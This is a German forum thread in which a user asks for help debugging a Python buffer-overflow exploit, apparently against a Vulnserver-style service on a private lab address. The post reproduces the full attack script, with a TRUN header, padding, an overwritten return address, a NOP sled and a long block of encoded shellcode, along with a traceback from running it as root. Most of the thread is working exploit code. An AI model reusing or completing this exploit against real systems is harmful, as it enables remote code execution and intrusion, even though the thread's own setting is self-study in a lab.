BlackJack hat geschrieben:@patzen: Der Compiler zeigt nicht auf die Stelle wo etwas nicht stimmt, sondern auf die Stelle wo er bemerkt hat, dass etwas nicht stimmt. Das Problem liegt also irgendwo vor dieser Stelle und der Parser verarbeitet etwas wo ihm an der Stelle mit dem ``:`` auffällt, dass da keiner kommen dürfte. Dabei ist der Doppelpunkt selbst an der Stelle schon richtig so, wenn denn davor die Syntax stimmen würde. Kleiner Tipp: Es liegt an einer fehlenden Klammer. Art und Position der Klammer kannst Du ja mal selber suchen.
Danke für den Tip ich glaube ich hab's gefunden.
In der vorletzten line:
Bei send((192.168.2.105)) fehlte vorne eine Klammer.Dann ist mir noch aufgefallen, dass in der gleichen line bei join ((header, junk, eip, nop, shellcode)) die zweite Klammer am vorne eine eckige ist und hinten eine runde.Ich habe dann versucht jeweils ein paar eckige und dann ein paar runde (so wie beim send Argument) zu setzen aber bekomme jetzt einen neuen Fehler.
Google sagt mir dazu , dass ein Argument fehlt
Dav1d hat geschrieben:uups, das tut mir leid, es sind sogar 2 Fehler drin
Einmal fehlt ein : und einmal ne Klammer
Kein Problem Dav1d
.Umso lehrreicher ist es am Schluss wenn alles klappt.
Ich habe die Klammern jetzt mal geändert und das Script sieht jetzt wie folgt aus.Leider funktioniert es immer noch nicht
Code: Alles auswählen
#!/usr/bin/python
import socket
import struct
def send(address, data):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)
sock.send(data)
sock.close()
def main():
header = 'TRUN /.:/'
junk = '\x41'*2003
eip = struct.pack('<I', 0x625011af)
nop = '\x90'*20
shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
'\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
'\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
'\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
'\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
'\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
'\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
'\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
'\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
'\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
'\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
'\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
'\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
'\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
'\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
'\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
'\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
'\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
'\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
'\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
'\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
'\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
'\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
'\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
'\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
if __name__ == '__main__':
main()
Der Fehlercode ist folgender:
Code: Alles auswählen
root@bt:~# python exploit.dav1d.py
Traceback (most recent call last):
File "exploit.dav1d.py", line 58, in <module>
main()
File "exploit.dav1d.py", line 55, in main
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
TypeError: send() takes exactly 2 arguments (1 given)
Wie gesagt ich weiss jetzt ,dass ein Argument fehlt laut google.Aber keine Ahnung welches.Ich habe aber alleine durch dieses Script schon ne Menge gelernt und eigentlich find ich es besser wenn nicht sofort alles klappt.So lernt man mehr
Könnt Ihr mir einen Tip geben welches Argument fehlt.Ich werde versuchen es dann selber einzubauen
Liebe Grüße
patzen